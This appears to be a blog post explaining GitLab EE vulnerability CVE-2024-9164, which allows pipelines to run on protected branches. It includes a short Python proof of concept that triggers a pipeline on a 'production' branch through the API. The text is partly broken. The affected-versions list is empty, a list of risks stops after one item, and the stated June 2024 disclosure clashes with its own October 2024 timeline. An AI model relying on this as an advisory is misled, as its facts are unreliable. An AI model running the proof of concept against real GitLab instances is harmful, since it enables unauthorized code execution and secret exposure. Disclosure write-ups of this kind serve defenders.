- [Proof of Concept: Exploiting Arbitrary Pipeline Execution](#proof-of-concept-exploiting-arbitrary-pipeline-execution)

Introduction

In June 2024, a serious vulnerability (CVE-2024-9164) was disclosed affecting GitLab Enterprise Edition (EE). The flaw allows a user to trigger CI/CD pipelines on branches they should not have access to, potentially exposing secrets, running malicious code, or impacting business operations. Let's break down what this vulnerability is, how it can be abused, and what you can do to protect your GitLab instance.

What is CVE-2024-9164?

CVE-2024-9164 is a flaw in GitLab EE that lets an attacker run pipelines on arbitrary branches—effectively sidestepping access controls. By exploiting this, attackers can trigger code builds, tests, or deployments they shouldn’t have access to. This is a major risk, especially for sensitive or production branches.

Who Is Affected?

According to the GitLab advisory, this vulnerability affects:

GitLab Community Edition (CE) is not affected

If you run any of these versions, you should update ASAP.

Why Does This Matter?

In GitLab, CI/CD pipelines often have access to secrets, can trigger automated scripts, or deploy code. If an attacker can arbitrarily run pipelines on sensitive branches, they might:

- Expose environment variables/secrets

How Does the Exploit Work?

At its core, this vulnerability arises from improper permission checks in pipeline triggers. A user with low or no access to a branch can use API calls or carefully-crafted requests to trigger a pipeline, even on branches meant to be protected or private.

Proof of Concept: Exploiting Arbitrary Pipeline Execution

Suppose Alice is a developer with no write access on the production branch. However, using CVE-2024-9164, she can trigger a pipeline as follows.

Step 1: Get a Personal Access Token

Alice gets her Personal Access Token with API privileges (even read only).

Step 2: Send a Pipeline Trigger Request

GitLab's API normally restricts this, but due to CVE-2024-9164, the API check fails.

Below is a Python proof of concept using requests

import requests

# Set variables
GITLAB_URL = "https://gitlab.example.com";
PROJECT_ID = "123"  # Replace with the target project ID
BRANCH = "production"  # Arbitrary/protected branch
TOKEN = "glpat-XXXXXXXXXXXXXX"  # User's personal access token

# API endpoint
url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/pipeline"

# API headers
headers = {"PRIVATE-TOKEN": TOKEN}

# POST data specifying the arbitrary branch
data = {"ref": BRANCH}

# Send the exploit request
resp = requests.post(url, headers=headers, data=data)

if resp.status_code == 201:
    print("Pipeline successfully triggered on branch:", BRANCH)
else:
    print("Failed:", resp.status_code, resp.text)

Note: This should NOT succeed for protected branches if permissions are properly enforced. Due to the vulnerability, it does.

Step 3: Observe the Pipeline in Action

- Check the project's CI/CD > Pipelines page.

Mitigation and Fixes

Patch Immediately!

- GitLab Update Guide
- Critical Security Release Announcement

References

- NVD CVE Entry: CVE-2024-9164
- GitLab Security Release Blog (June 2024)
- Upgrading GitLab Guide
- Using the Pipelines API

Final Thoughts

CVE-2024-9164 is a stark reminder that even mature DevSecOps tools like GitLab are not immune to critical flaws. Arbitrary pipeline execution can have devastating ripple effects, especially on production systems. Stay vigilant, patch promptly, and monitor your CI/CD environments for suspicious activity.

*If this deep dive has helped you, consider sharing it to help others stay safe!*

Timeline

Published on: 10/11/2024 13:15:17 UTC
Last modified on: 10/15/2024 12:58:51 UTC